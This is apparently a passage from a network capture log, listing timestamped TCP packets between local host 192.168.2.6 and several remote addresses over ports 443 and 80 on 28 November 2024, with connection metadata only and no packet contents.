Nov 28, 2024 15:17:50.615350962 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:50.768659115 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:50.771445036 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:50.771477938 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:50.890624046 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:50.893486977 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:50.893532038 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:50.893683910 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:50.935055971 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:50.935077906 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:50.937927008 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:50.938010931 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:50.938036919 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:51.094815016 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:51.097625971 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:51.139329910 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:51.252541065 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:51.255351067 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:51.255388975 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:51.337624073 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:51.340034008 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:51.340073109 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:51.378014088 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:51.435014009 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:51.435034037 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:51.438668966 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:51.439335108 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:51.439369917 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:51.539005041 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:51.541577101 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:51.583334923 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:51.734605074 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:51.738040924 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:51.738087893 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:51.781673908 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:51.784086943 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:51.784133911 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:51.861408949 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:51.912179947 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:51.912209988 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:51.915191889 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:51.915231943 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:51.915235996 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:51.915257931 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:52.020704985 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:52.020756960 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:52.062454939 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:52.065485001 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:52.065531015 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:52.085416079 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:52.145634890 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:52.191823006 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:52.191852093 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:52.196631908 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:52.196666956 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:52.197587967 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:52.197614908 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:52.205327034 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:52.266773939 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:52.310209036 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:52.310234070 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:52.313229084 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:52.313261032 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:52.313354015 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:52.313380003 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:52.468092918 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:52.470936060 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:52.470973969 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:52.553672075 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:52.607012033 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:52.607076883 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:52.609900951 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:52.609944105 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:52.610095978 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:52.610122919 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:52.672928095 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:52.716391087 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:52.716418982 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:52.719173908 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:52.719216108 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:52.719407082 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:52.719434977 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:52.874229908 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:52.881833076 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:52.881903887 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:53.051362991 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:53.054107904 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:53.054152966 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:53.054744959 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:53.107004881 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:53.107023954 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:53.109488010 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:53.117693901 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:53.119807005 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:53.119920969 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:53.119940042 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:53.252558947 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:53.257210016 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:53.299344063 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:53.453819990 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:53.456648111 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:53.456723928 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:53.504801035 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:53.544596910 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:53.544634104 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:53.548433065 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:53.548468113 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:53.621402025 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:53.624188900 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:53.624243975 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:53.624277115 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:53.624303102 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:53.654964924 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:53.656912088 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:53.699354887 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:53.822493076 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:53.825431108 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:53.825454950 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:54.023699045 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:54.026742935 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:54.026793003 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:54.113682032 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:54.155764103 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:54.155798912 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:54.158461094 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:54.158523083 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:54.224966049 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:54.228621006 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:54.228657961 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:54.228950977 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:54.228976965 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:54.317118883 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:54.320154905 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:54.320184946 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:54.469933987 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:54.472250938 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:54.472315073 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:54.516135931 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:54.518635988 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:54.518670082 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:54.603135109 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:54.653774023 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:54.653867006 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:54.657172918 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:54.657243013 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:54.657262087 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:54.657280922 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:54.804261923 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:54.807419062 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:54.807450056 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:54.960292101 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:54.963006973 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:54.963042974 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:55.045667887 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:55.048357964 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:55.048398018 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:55.077826977 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:55.077887058 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:55.077904940 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:55.078023911 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:55.078078032 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:55.078125000 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:55.088654995 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:55.089759111 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:55.089823008 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:55.101735115 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:55.101763010 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:55.102544069 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:55.102580070 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:55.208597898 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:55.246798992 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:55.250323057 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:55.250355005 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:55.409966946 CET	49882	443	192.168.2.6	20.189.173.2
Nov 28, 2024 15:17:55.410001040 CET	443	49882	20.189.173.2	192.168.2.6
Nov 28, 2024 15:17:55.410067081 CET	49882	443	192.168.2.6	20.189.173.2
Nov 28, 2024 15:17:55.410115004 CET	49883	443	192.168.2.6	20.189.173.2
Nov 28, 2024 15:17:55.410151005 CET	443	49883	20.189.173.2	192.168.2.6
Nov 28, 2024 15:17:55.410229921 CET	49884	443	192.168.2.6	20.189.173.2
Nov 28, 2024 15:17:55.410249949 CET	49883	443	192.168.2.6	20.189.173.2
Nov 28, 2024 15:17:55.410270929 CET	443	49884	20.189.173.2	192.168.2.6
Nov 28, 2024 15:17:55.410397053 CET	49882	443	192.168.2.6	20.189.173.2
Nov 28, 2024 15:17:55.410409927 CET	443	49882	20.189.173.2	192.168.2.6
Nov 28, 2024 15:17:55.410419941 CET	49884	443	192.168.2.6	20.189.173.2
Nov 28, 2024 15:17:55.410511971 CET	49883	443	192.168.2.6	20.189.173.2
Nov 28, 2024 15:17:55.410523891 CET	443	49883	20.189.173.2	192.168.2.6
Nov 28, 2024 15:17:55.410604000 CET	49884	443	192.168.2.6	20.189.173.2
Nov 28, 2024 15:17:55.410628080 CET	443	49884	20.189.173.2	192.168.2.6
Nov 28, 2024 15:17:55.439779043 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:55.442239046 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:55.442272902 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:55.443449974 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:55.445341110 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:55.445369959 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:55.448137999 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:55.469683886 CET	49885	443	192.168.2.6	20.75.60.91
Nov 28, 2024 15:17:55.469713926 CET	443	49885	20.75.60.91	192.168.2.6
Nov 28, 2024 15:17:55.469784021 CET	49885	443	192.168.2.6	20.75.60.91
Nov 28, 2024 15:17:55.469954014 CET	49885	443	192.168.2.6	20.75.60.91
Nov 28, 2024 15:17:55.469966888 CET	443	49885	20.75.60.91	192.168.2.6
Nov 28, 2024 15:17:55.489501953 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:55.493597031 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:55.535331011 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:55.545742989 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:55.545805931 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:55.557503939 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:55.641041994 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:55.643748999 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:55.643778086 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:55.677628040 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:55.842369080 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:55.846841097 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:55.846915960 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:55.886759043 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:55.889796972 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:55.889899015 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:55.889941931 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:55.893151999 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:55.893182993 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:55.894304037 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:55.894330025 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:55.895214081 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:55.895253897 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:56.043437004 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:56.046283007 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:56.046320915 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:56.148097038 CET	443	49849	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:56.148168087 CET	443	49849	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:56.148217916 CET	49849	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:56.219660044 CET	443	49848	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:56.219718933 CET	443	49848	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:56.219768047 CET	49848	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:56.244513988 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:56.247117996 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:56.247158051 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:56.291692972 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:56.294816017 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:56.294909000 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:56.294967890 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:56.294996023 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:56.295053959 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:56.303226948 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:56.306716919 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:56.306747913 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:56.307092905 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:56.307118893 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:56.307347059 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:56.307387114 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:56.395896912 CET	49886	443	192.168.2.6	20.110.205.119
Nov 28, 2024 15:17:56.395932913 CET	443	49886	20.110.205.119	192.168.2.6
Nov 28, 2024 15:17:56.396029949 CET	49886	443	192.168.2.6	20.110.205.119
Nov 28, 2024 15:17:56.396231890 CET	49886	443	192.168.2.6	20.110.205.119
Nov 28, 2024 15:17:56.396246910 CET	443	49886	20.110.205.119	192.168.2.6
Nov 28, 2024 15:17:56.411429882 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:56.465506077 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:56.465533018 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:56.469449997 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:56.469482899 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:56.504442930 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:56.504528999 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:56.505768061 CET	443	49850	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:56.505834103 CET	443	49850	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:56.505938053 CET	49850	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:56.507489920 CET	443	49851	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:56.507553101 CET	443	49851	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:56.507611036 CET	49851	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:56.533145905 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:56.612509012 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:56.653027058 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:56.653052092 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:56.653084993 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:56.656125069 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:56.656160116 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:56.691802025 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:56.691924095 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:56.694439888 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:56.735328913 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:56.809027910 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:56.811726093 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:56.811753035 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:56.811853886 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:56.811872005 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:56.813807011 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:56.815891027 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:56.859359980 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:56.991282940 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:56.991365910 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:56.995815992 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:57.010271072 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:57.013252974 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:57.013278961 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:57.116131067 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:57.116234064 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:57.116391897 CET	49887	80	192.168.2.6	185.215.113.16
Nov 28, 2024 15:17:57.162525892 CET	443	49885	20.75.60.91	192.168.2.6
Nov 28, 2024 15:17:57.162790060 CET	49885	443	192.168.2.6	20.75.60.91
Nov 28, 2024 15:17:57.162802935 CET	443	49885	20.75.60.91	192.168.2.6
Nov 28, 2024 15:17:57.163714886 CET	443	49885	20.75.60.91	192.168.2.6
Nov 28, 2024 15:17:57.163836002 CET	49885	443	192.168.2.6	20.75.60.91
Nov 28, 2024 15:17:57.164956093 CET	49885	443	192.168.2.6	20.75.60.91
Nov 28, 2024 15:17:57.165014029 CET	443	49885	20.75.60.91	192.168.2.6
Nov 28, 2024 15:17:57.165183067 CET	49885	443	192.168.2.6	20.75.60.91
Nov 28, 2024 15:17:57.165191889 CET	443	49885	20.75.60.91	192.168.2.6
Nov 28, 2024 15:17:57.211308002 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:57.215610981 CET	49885	443	192.168.2.6	20.75.60.91
Nov 28, 2024 15:17:57.227010012 CET	443	49883	20.189.173.2	192.168.2.6
Nov 28, 2024 15:17:57.227245092 CET	49883	443	192.168.2.6	20.189.173.2
Nov 28, 2024 15:17:57.227268934 CET	443	49883	20.189.173.2	192.168.2.6
Nov 28, 2024 15:17:57.228209019 CET	443	49883	20.189.173.2	192.168.2.6
Nov 28, 2024 15:17:57.228270054 CET	49883	443	192.168.2.6	20.189.173.2
Nov 28, 2024 15:17:57.229376078 CET	49883	443	192.168.2.6	20.189.173.2
Nov 28, 2024 15:17:57.229376078 CET	49883	443	192.168.2.6	20.189.173.2
Nov 28, 2024 15:17:57.229398012 CET	443	49883	20.189.173.2	192.168.2.6
Nov 28, 2024 15:17:57.229439974 CET	443	49883	20.189.173.2	192.168.2.6
Nov 28, 2024 15:17:57.229547024 CET	49883	443	192.168.2.6	20.189.173.2
Nov 28, 2024 15:17:57.229573965 CET	443	49883	20.189.173.2	192.168.2.6
Nov 28, 2024 15:17:57.229657888 CET	443	49884	20.189.173.2	192.168.2.6
Nov 28, 2024 15:17:57.229883909 CET	49884	443	192.168.2.6	20.189.173.2
Nov 28, 2024 15:17:57.229899883 CET	443	49884	20.189.173.2	192.168.2.6
Nov 28, 2024 15:17:57.230878115 CET	443	49884	20.189.173.2	192.168.2.6
Nov 28, 2024 15:17:57.230932951 CET	49884	443	192.168.2.6	20.189.173.2
Nov 28, 2024 15:17:57.231781006 CET	49884	443	192.168.2.6	20.189.173.2
Nov 28, 2024 15:17:57.231842041 CET	443	49884	20.189.173.2	192.168.2.6
Nov 28, 2024 15:17:57.231950998 CET	49884	443	192.168.2.6	20.189.173.2
Nov 28, 2024 15:17:57.231961012 CET	443	49884	20.189.173.2	192.168.2.6
Nov 28, 2024 15:17:57.232006073 CET	49884	443	192.168.2.6	20.189.173.2
Nov 28, 2024 15:17:57.232038021 CET	443	49884	20.189.173.2	192.168.2.6
Nov 28, 2024 15:17:57.236308098 CET	80	49887	185.215.113.16	192.168.2.6
Nov 28, 2024 15:17:57.250349998 CET	443	49882	20.189.173.2	192.168.2.6
Nov 28, 2024 15:17:57.250574112 CET	49882	443	192.168.2.6	20.189.173.2
Nov 28, 2024 15:17:57.250622034 CET	443	49882	20.189.173.2	192.168.2.6
Nov 28, 2024 15:17:57.251671076 CET	443	49882	20.189.173.2	192.168.2.6
Nov 28, 2024 15:17:57.251868963 CET	49882	443	192.168.2.6	20.189.173.2
Nov 28, 2024 15:17:57.252125978 CET	49882	443	192.168.2.6	20.189.173.2
Nov 28, 2024 15:17:57.252125978 CET	49882	443	192.168.2.6	20.189.173.2
Nov 28, 2024 15:17:57.252139091 CET	443	49882	20.189.173.2	192.168.2.6
Nov 28, 2024 15:17:57.252170086 CET	49882	443	192.168.2.6	20.189.173.2
Nov 28, 2024 15:17:57.252185106 CET	443	49882	20.189.173.2	192.168.2.6
Nov 28, 2024 15:17:57.262716055 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:57.278023958 CET	49883	443	192.168.2.6	20.189.173.2
